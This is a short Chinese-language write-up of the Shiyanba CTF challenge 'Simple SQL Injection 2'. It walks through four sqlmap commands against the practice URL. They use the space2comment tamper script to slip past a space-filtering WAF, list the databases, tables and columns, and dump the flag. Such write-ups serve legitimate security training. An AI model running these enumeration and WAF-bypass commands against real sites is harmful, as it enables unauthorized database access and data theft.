实验吧 简单的SQL注入2攻击笔记

背景:使用kali linux中的sqlmap

1.在进入sqlmao的终端界面后输入    sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment --dbs

其中:1.sqlmap:启动sqlmap。2.-u:参数 指目标的URL。3.--tamper:绕过WAF脚本。4.space2comment :tamper脚本之一用于绕过过滤空格。5.--dbs列举数据库

红色括号中的information_schema数据库和test数据库是MySql数据库安装时自带的,所以我们要找的就是web1。

2.输入    sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

其中:1.-D:后面跟数据库的名字。2.--tables:列举库中的表格


3. sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column

其中:1.-T:后面跟表格名字。2.--column列举表格中的列名


4.sqlmap -u http://ctf5.shiyanba.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C  flag --dump

其中:1.-C后面跟列的名字。2.--dump取出表单所有记录。

结果就出来了

你可能感兴趣的:(实验吧 简单的SQL注入2攻击笔记)